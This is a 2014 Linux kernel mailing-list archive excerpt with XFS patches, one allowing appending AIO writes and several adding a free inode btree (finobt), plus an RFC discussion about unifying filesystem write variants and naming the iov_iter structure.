BATV+cce6228de0c429a25e5b+3817+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WAjkK-0001AD-Ue; Tue, 04 Feb 2014 17:25:16 +0000 Message-Id: <20140204172516.819177292@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Tue, 04 Feb 2014 09:24:05 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org Cc: Sergey Meirovich Subject: [PATCH 3/3] xfs: allow appending aio writes References: <20140204172402.380571745@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 3/3] xfs: allow appending aio writes Content-Disposition: inline; filename=0003-xfs-allow-appending-aio-writes.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1391534717 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144830 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 XFS can easily support appending aio writes by ensuring we always allocate blocks as unwritten extents when performing direct I/O writes and only converting them to written extents at I/O completion. Signed-off-by: Christoph Hellwig --- fs/xfs/xfs_aops.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/fs/xfs/xfs_aops.c b/fs/xfs/xfs_aops.c index a267394..a4278e4 100644 --- a/fs/xfs/xfs_aops.c +++ b/fs/xfs/xfs_aops.c @@ -1441,7 +1441,8 @@ xfs_vm_direct_IO( ret = __blockdev_direct_IO(rw, iocb, inode, bdev, iov, offset, nr_segs, xfs_get_blocks_direct, - xfs_end_io_direct_write, NULL, 0); + xfs_end_io_direct_write, NULL, + DIO_ASYNC_EXTEND); if (ret != -EIOCBQUEUED && iocb->private) goto out_destroy_ioend; } else { -- 1.7.10.4 From zab@redhat.com Tue Feb 4 11:28:23 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C2A0A7F52 for ; Tue, 4 Feb 2014 11:28:23 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id B6D1D8F8039 for ; Tue, 4 Feb 2014 09:28:20 -0800 (PST) X-ASG-Debug-ID: 1391534899-04cbb00c28f75d0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id cUCtqbGs4tKzigy7 for ; Tue, 04 Feb 2014 09:28:19 -0800 (PST) X-Barracuda-Envelope-From: zab@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s14HRPM0030535 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 4 Feb 2014 12:27:25 -0500 Received: from localhost (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s14HRNt4010951 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Tue, 4 Feb 2014 12:27:24 -0500 Date: Tue, 4 Feb 2014 09:27:23 -0800 From: Zach Brown To: Al Viro Cc: Kent Overstreet , Linus Torvalds , Christoph Hellwig , Jens Axboe , Mark Fasheh , Joel Becker , linux-fsdevel , xfs@oss.sgi.com, Sage Weil , Steve French , Anton Altaparmakov , Dave Kleikamp Subject: Re: [RFC] unifying write variants for filesystems Message-ID: <20140204172723.GA11325@lenny.home.zabbo.net> X-ASG-Orig-Subj: Re: [RFC] unifying write variants for filesystems References: <20140118201031.GI10323@ZenIV.linux.org.uk> <20140119051335.GN10323@ZenIV.linux.org.uk> <20140120135514.GA21567@infradead.org> <20140201224301.GS10323@ZenIV.linux.org.uk> <52EFC271.3090205@oracle.com> <20140204124409.GG10323@ZenIV.linux.org.uk> <20140204125220.GB12440@kmo-pixel> <20140204151728.GH10323@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140204151728.GH10323@ZenIV.linux.org.uk> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1391534899 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 > I definitely don't buy "bio is a natural object for carrying an array > of pieces of pages"; not sure if that's what you implied in earlier > thread, but it has too much baggage from block subsystem *and* it lacks > the things we may want to associate with individual elements of such > array (starting with "how can I steal that page?" method). I think Kent is talking about what happens after the user addresses are consumed. Turning dio into more of a bio mapping and redirection engine would use more of the bio machinery instead of the bits that dio has implemented itself with state in struct dio that hangs off the bios. I imagine it'd still make sense to clean up the addresses/pages arguments that feed that engine. (And give another entry point that already has bios for callers like loop, etc.) > BTW, folks, any suggestions about the name of that "memory stream" thing? > struct iov_iter really implies iterator for iovec and more generic name > would probably be better... struct mem_stream would probably do if nobody > comes up with better variant, but it's long and somewhat clumsy... I don't like 'stream'. To me that sounds more strictly advancing than I think this'd be capable of. Maybe something dirt simple like 'mem_vec'? With 'mvec_' call prefixes? Or kiobuf! *runs* - z From kmo@daterainc.com Tue Feb 4 11:35:10 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 7C27D7F52 for ; Tue, 4 Feb 2014 11:35:10 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id EBFADAC003 for ; Tue, 4 Feb 2014 09:35:09 -0800 (PST) X-ASG-Debug-ID: 1391535308-04cb6c6de2fdbd0001-NocioJ Received: from mail-ob0-f181.google.com (mail-ob0-f181.google.com [209.85.214.181]) by cuda.sgi.com with ESMTP id KrPu6iEFBi4Eid5g (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 04 Feb 2014 09:35:08 -0800 (PST) X-Barracuda-Envelope-From: kmo@daterainc.com X-Barracuda-Apparent-Source-IP: 209.85.214.181 Received: by mail-ob0-f181.google.com with SMTP id va2so9611793obc.26 for ; Tue, 04 Feb 2014 09:35:07 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=AWrv41uPrKHpaGChWkzTXbYKeelLZk+URY8Uv2jMKGs=; b=O5oNZ+brddZWSblKiSO3aqcvUbiKx4dNUYQE6fYupRAiBJ8Mgy5quF/Tt0JF3UrIXV Uu03Q7tUr+KWKfl4fHsfRg+zmz7arr6o/i5dqzrlByTN+PQEg8OtHAFw9H4Gq6hP0nEV Y+xe9eXQ3WNPq/V/fWDZ7c7bUZTXZEGpB+WNyCam2FH0KvAkLozdIRk2p9F3cazQh5r9 5+W1EHiEEcXqFFoNjjRdgI1m4zMAJ9FVBGfMptO/hYpqsW23/oqbXLQq24dLdlNl04JF tmL2HhFfV6kW0HjS1Bh+z7qEm2K8d54x3DKITcahERq9PVZU8S/vvvSAoc5B3F5Fx83J D9+A== X-Gm-Message-State: ALoCoQkIMjIHPqPgsk5+qW2K052pGz13BKI0t70RqY6aocBsMBaMnoHMYbgGzdGuenfTKXsBqI+i MIME-Version: 1.0 X-Received: by 10.60.51.6 with SMTP id g6mr37141138oeo.5.1391535306822; Tue, 04 Feb 2014 09:35:06 -0800 (PST) Received: by 10.76.77.33 with HTTP; Tue, 4 Feb 2014 09:35:06 -0800 (PST) Received: by 10.76.77.33 with HTTP; Tue, 4 Feb 2014 09:35:06 -0800 (PST) In-Reply-To: <20140204172723.GA11325@lenny.home.zabbo.net> References: <20140118201031.GI10323@ZenIV.linux.org.uk> <20140119051335.GN10323@ZenIV.linux.org.uk> <20140120135514.GA21567@infradead.org> <20140201224301.GS10323@ZenIV.linux.org.uk> <52EFC271.3090205@oracle.com> <20140204124409.GG10323@ZenIV.linux.org.uk> <20140204125220.GB12440@kmo-pixel> <20140204151728.GH10323@ZenIV.linux.org.uk> <20140204172723.GA11325@lenny.home.zabbo.net> Date: Tue, 4 Feb 2014 09:35:06 -0800 Message-ID: Subject: Re: [RFC] unifying write variants for filesystems From: Kent Overstreet X-ASG-Orig-Subj: Re: [RFC] unifying write variants for filesystems To: Zach Brown Cc: Dave Kleikamp , Steve French , Sage Weil , Linus Torvalds , Jens Axboe , Anton Altaparmakov , Al Viro , Mark Fasheh , linux-fsdevel , xfs@oss.sgi.com, Joel Becker , Christoph Hellwig Content-Type: multipart/alternative; boundary=001a11c306f0a8882804f1980fde X-Barracuda-Connect: mail-ob0-f181.google.com[209.85.214.181] X-Barracuda-Start-Time: 1391535308 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144830 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message --001a11c306f0a8882804f1980fde Content-Type: text/plain; charset=ISO-8859-1 On Feb 4, 2014 6:27 PM, "Zach Brown" wrote: > > > I definitely don't buy "bio is a natural object for carrying an array > > of pieces of pages"; not sure if that's what you implied in earlier > > thread, but it has too much baggage from block subsystem *and* it lacks > > the things we may want to associate with individual elements of such > > array (starting with "how can I steal that page?" method). > > I think Kent is talking about what happens after the user addresses are > consumed. Turning dio into more of a bio mapping and redirection engine > would use more of the bio machinery instead of the bits that dio has > implemented itself with state in struct dio that hangs off the bios. I > imagine it'd still make sense to clean up the addresses/pages arguments > that feed that engine. (And give another entry point that already has > bios for callers like loop, etc.) Yeah, precisely. I think we can push the point at which pages are pinned at least a fair but higher than it is now, and if we can do that we definitely should be working with a generic "bag of pinned pages" struct - and much better to use struct bio than add another one. Bios may not be perfect but at least some of the block layer specific cruft can be gotten rid of (and is on my todo list) > > > BTW, folks, any suggestions about the name of that "memory stream" thing? > > struct iov_iter really implies iterator for iovec and more generic name > > would probably be better... struct mem_stream would probably do if nobody > > comes up with better variant, but it's long and somewhat clumsy... > > I don't like 'stream'. To me that sounds more strictly advancing than I > think this'd be capable of. Maybe something dirt simple like 'mem_vec'? > With 'mvec_' call prefixes? > > Or kiobuf! *runs* *cuts you* --001a11c306f0a8882804f1980fde Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable


On Feb 4, 2014 6:27 PM, "Zach Brown" <zab@redhat.com> wrote:
>
> > I definitely don't buy "bio is a natural object for carr= ying an array
> > of pieces of pages"; not sure if that's what you implied= in earlier
> > thread, but it has too much baggage from block subsystem *and* it= lacks
> > the things we may want to associate with individual elements of s= uch
> > array (starting with "how can I steal that page?" metho= d).
>
> I think Kent is talking about what happens after the user addresses ar= e
> consumed. =A0Turning dio into more of a bio mapping and redirection en= gine
> would use more of the bio machinery instead of the bits that dio has > implemented itself with state in struct dio that hangs off the bios. = =A0I
> imagine it'd still make sense to clean up the addresses/pages argu= ments
> that feed that engine. =A0(And give another entry point that already h= as
> bios for callers like loop, etc.)

Yeah, precisely. I think we can push the point at which page= s are pinned at least a fair but higher than it is now, and if we can do th= at we definitely should be working with a generic "bag of pinned pages= " struct - and much better to use struct bio than add another one. Bio= s may not be perfect but at least some of the block layer specific cruft ca= n be gotten rid of (and is on my todo list)

>
> > BTW, folks, any suggestions about the name of that "memory s= tream" thing?
> > struct iov_iter really implies iterator for iovec and more generi= c name
> > would probably be better... =A0struct mem_stream would probably d= o if nobody
> > comes up with better variant, but it's long and somewhat clum= sy...
>
> I don't like 'stream'. =A0To me that sounds more strictly = advancing than I
> think this'd be capable of. =A0Maybe something dirt simple like &#= 39;mem_vec'?
> With 'mvec_' call prefixes?
>
> Or kiobuf! =A0*runs*

*cuts you*

--001a11c306f0a8882804f1980fde-- From bfoster@redhat.com Tue Feb 4 11:49:46 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 8C47A7F51 for ; Tue, 4 Feb 2014 11:49:46 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 805E88F8039 for ; Tue, 4 Feb 2014 09:49:46 -0800 (PST) X-ASG-Debug-ID: 1391536185-04cb6c6de0ff390001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id cIQYHhYc6XzKOmoY for ; Tue, 04 Feb 2014 09:49:45 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s14Hnjex030307 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 4 Feb 2014 12:49:45 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s14HniQW007407 for ; Tue, 4 Feb 2014 12:49:45 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id B1F841250DC; Tue, 4 Feb 2014 12:49:43 -0500 (EST) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v3 11/11] xfs: enable the finobt feature on v5 superblocks Date: Tue, 4 Feb 2014 12:49:42 -0500 X-ASG-Orig-Subj: [PATCH v3 11/11] xfs: enable the finobt feature on v5 superblocks Message-Id: <1391536182-9048-12-git-send-email-bfoster@redhat.com> In-Reply-To: <1391536182-9048-1-git-send-email-bfoster@redhat.com> References: <1391536182-9048-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1391536185 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Add the finobt feature bit to the list of known features. As of this point, the kernel code knows how to mount and manage both finobt and non-finobt formatted filesystems. Signed-off-by: Brian Foster --- fs/xfs/xfs_sb.h | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/fs/xfs/xfs_sb.h b/fs/xfs/xfs_sb.h index 070a7f6..9919fb8 100644 --- a/fs/xfs/xfs_sb.h +++ b/fs/xfs/xfs_sb.h @@ -586,7 +586,8 @@ xfs_sb_has_compat_feature( } #define XFS_SB_FEAT_RO_COMPAT_FINOBT (1 << 0) /* free inode btree */ -#define XFS_SB_FEAT_RO_COMPAT_ALL 0 +#define XFS_SB_FEAT_RO_COMPAT_ALL \ + (XFS_SB_FEAT_RO_COMPAT_FINOBT) #define XFS_SB_FEAT_RO_COMPAT_UNKNOWN ~XFS_SB_FEAT_RO_COMPAT_ALL static inline bool xfs_sb_has_ro_compat_feature( -- 1.8.1.4 From bfoster@redhat.com Tue Feb 4 11:49:46 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B555C7F52 for ; Tue, 4 Feb 2014 11:49:46 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id AA9438F8039 for ; Tue, 4 Feb 2014 09:49:46 -0800 (PST) X-ASG-Debug-ID: 1391536185-04cb6c6de3ff3a0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id M8fQzRcI4W438sDD for ; Tue, 04 Feb 2014 09:49:45 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s14HnjsK004573 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 4 Feb 2014 12:49:45 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s14HniS9011541 for ; Tue, 4 Feb 2014 12:49:45 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id 9B0731250D6; Tue, 4 Feb 2014 12:49:43 -0500 (EST) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v3 05/11] xfs: insert newly allocated inode chunks into the finobt Date: Tue, 4 Feb 2014 12:49:36 -0500 X-ASG-Orig-Subj: [PATCH v3 05/11] xfs: insert newly allocated inode chunks into the finobt Message-Id: <1391536182-9048-6-git-send-email-bfoster@redhat.com> In-Reply-To: <1391536182-9048-1-git-send-email-bfoster@redhat.com> References: <1391536182-9048-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1391536185 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 A newly allocated inode chunk, by definition, has at least one free inode, so a record is always inserted into the finobt. Create the xfs_inobt_insert() helper from existing code to insert a record in an inobt based on the provided BTNUM. Update xfs_ialloc_ag_alloc() to invoke the helper for the existing XFS_BTNUM_INO tree and XFS_BTNUM_FINO tree, if enabled. Signed-off-by: Brian Foster --- fs/xfs/xfs_ialloc.c | 93 ++++++++++++++++++++++++++++++++++++++++------------- 1 file changed, 70 insertions(+), 23 deletions(-) diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c index d99eb09..bdaab76 100644 --- a/fs/xfs/xfs_ialloc.c +++ b/fs/xfs/xfs_ialloc.c @@ -112,6 +112,66 @@ xfs_inobt_get_rec( } /* + * Insert a single inobt record. Cursor must already point to desired location. + */ +STATIC int +xfs_inobt_insert_rec( + struct xfs_btree_cur *cur, + __int32_t freecount, + xfs_inofree_t free, + int *stat) +{ + cur->bc_rec.i.ir_freecount = freecount; + cur->bc_rec.i.ir_free = free; + return xfs_btree_insert(cur, stat); +} + +/* + * Insert records describing a newly allocated inode chunk into the inobt. + */ +STATIC int +xfs_inobt_insert( + struct xfs_mount *mp, + struct xfs_trans *tp, + struct xfs_buf *agbp, + xfs_agino_t newino, + xfs_agino_t newlen, + xfs_btnum_t btnum) +{ + struct xfs_btree_cur *cur; + struct xfs_agi *agi = XFS_BUF_TO_AGI(agbp); + xfs_agnumber_t agno = be32_to_cpu(agi->agi_seqno); + xfs_agino_t thisino; + int i; + int error; + + cur = xfs_inobt_init_cursor(mp, tp, agbp, agno, btnum); + + for (thisino = newino; + thisino < newino + newlen; + thisino += XFS_INODES_PER_CHUNK) { + error = xfs_inobt_lookup(cur, thisino, XFS_LOOKUP_EQ, &i); + if (error) { + xfs_btree_del_cursor(cur, XFS_BTREE_ERROR); + return error; + } + ASSERT(i == 0); + + error = xfs_inobt_insert_rec(cur, XFS_INODES_PER_CHUNK, + XFS_INOBT_ALL_FREE, &i); + if (error) { + xfs_btree_del_cursor(cur, XFS_BTREE_ERROR); + return error; + } + ASSERT(i == 1); + } + + xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); + + return 0; +} + +/* * Verify that the number of free inodes in the AGI is correct. */ #ifdef DEBUG @@ -310,13 +370,10 @@ xfs_ialloc_ag_alloc( { xfs_agi_t *agi; /* allocation group header */ xfs_alloc_arg_t args; /* allocation argument structure */ - xfs_btree_cur_t *cur; /* inode btree cursor */ xfs_agnumber_t agno; int error; - int i; xfs_agino_t newino; /* new first inode's number */ xfs_agino_t newlen; /* new number of inodes */ - xfs_agino_t thisino; /* current inode number, for loop */ int isaligned = 0; /* inode allocation at stripe unit */ /* boundary */ struct xfs_perag *pag; @@ -454,29 +511,19 @@ xfs_ialloc_ag_alloc( agi->agi_newino = cpu_to_be32(newino); /* - * Insert records describing the new inode chunk into the btree. + * Insert records describing the new inode chunk into the btrees. */ - cur = xfs_inobt_init_cursor(args.mp, tp, agbp, agno, XFS_BTNUM_INO); - for (thisino = newino; - thisino < newino + newlen; - thisino += XFS_INODES_PER_CHUNK) { - cur->bc_rec.i.ir_startino = thisino; - cur->bc_rec.i.ir_freecount = XFS_INODES_PER_CHUNK; - cur->bc_rec.i.ir_free = XFS_INOBT_ALL_FREE; - error = xfs_btree_lookup(cur, XFS_LOOKUP_EQ, &i); - if (error) { - xfs_btree_del_cursor(cur, XFS_BTREE_ERROR); - return error; - } - ASSERT(i == 0); - error = xfs_btree_insert(cur, &i); - if (error) { - xfs_btree_del_cursor(cur, XFS_BTREE_ERROR); + error = xfs_inobt_insert(args.mp, tp, agbp, newino, newlen, + XFS_BTNUM_INO); + if (error) + return error; + + if (xfs_sb_version_hasfinobt(&args.mp->m_sb)) { + error = xfs_inobt_insert(args.mp, tp, agbp, newino, newlen, + XFS_BTNUM_FINO); + if (error) return error; - } - ASSERT(i == 1); } - xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); /* * Log allocation group header fields */ -- 1.8.1.4 From bfoster@redhat.com Tue Feb 4 11:49:47 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D16817F53 for ; Tue, 4 Feb 2014 11:49:46 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id B83128F8040 for ; Tue, 4 Feb 2014 09:49:46 -0800 (PST) X-ASG-Debug-ID: 1391536185-04cbb00c2bf98e0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id EwpH8M7F4x00A557 for ; Tue, 04 Feb 2014 09:49:45 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s14Hnisr004567 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 4 Feb 2014 12:49:44 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s14HniPP007403 for ; Tue, 4 Feb 2014 12:49:44 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id 3A4C21250BD; Tue, 4 Feb 2014 12:49:42 -0500 (EST) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v3 02/11] xfs: reserve v5 superblock read-only compat. feature bit for finobt Date: Tue, 4 Feb 2014 12:49:33 -0500 X-ASG-Orig-Subj: [PATCH v3 02/11] xfs: reserve v5 superblock read-only compat. feature bit for finobt Message-Id: <1391536182-9048-3-git-send-email-bfoster@redhat.com> In-Reply-To: <1391536182-9048-1-git-send-email-bfoster@redhat.com> References: <1391536182-9048-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1391536185 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Reserve a v5 read-only compatibility feature bit for the finobt and create the xfs_sb_version_hasfinobt() helper to determine whether an fs has the feature enabled. The finobt does not change existing on-disk structures, but must remain consistent with the ialloc btree. Modifications from older kernels would violate that constrant. Therefore, we restrict older kernels to read-only mounts of finobt-enabled filesystems. Note that this does not yet enable the ability to rw mount a finobt fs (by setting the feature bit in the XFS_SB_FEAT_RO_COMPAT_ALL mask). Signed-off-by: Brian Foster --- fs/xfs/xfs_sb.h | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/fs/xfs/xfs_sb.h b/fs/xfs/xfs_sb.h index 35061d4..070a7f6 100644 --- a/fs/xfs/xfs_sb.h +++ b/fs/xfs/xfs_sb.h @@ -585,6 +585,7 @@ xfs_sb_has_compat_feature( return (sbp->sb_features_compat & feature) != 0; } +#define XFS_SB_FEAT_RO_COMPAT_FINOBT (1 << 0) /* free inode btree */ #define XFS_SB_FEAT_RO_COMPAT_ALL 0 #define XFS_SB_FEAT_RO_COMPAT_UNKNOWN ~XFS_SB_FEAT_RO_COMPAT_ALL static inline bool @@ -639,6 +640,12 @@ static inline int xfs_sb_version_hasftype(struct xfs_sb *sbp) (sbp->sb_features2 & XFS_SB_VERSION2_FTYPE)); } +static inline int xfs_sb_version_hasfinobt(xfs_sb_t *sbp) +{ + return (XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5) && + (sbp->sb_features_ro_compat & XFS_SB_FEAT_RO_COMPAT_FINOBT); +} + /* * end of superblock version macros */ -- 1.8.1.4 From bfoster@redhat.com Tue Feb 4 11:49:47 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DC1D97F54 for ; Tue, 4 Feb 2014 11:49:46 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id D0EF58F8039 for ; Tue, 4 Feb 2014 09:49:46 -0800 (PST) X-ASG-Debug-ID: 1391536185-04cbb00c29f98e0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id hSMAx066CDMLOu69 for ; Tue, 04 Feb 2014 09:49:45 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s14HnjtA030311 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 4 Feb 2014 12:49:45 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s14Hniwh022846 for ; Tue, 4 Feb 2014 12:49:45 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id 7DF0212509A; Tue, 4 Feb 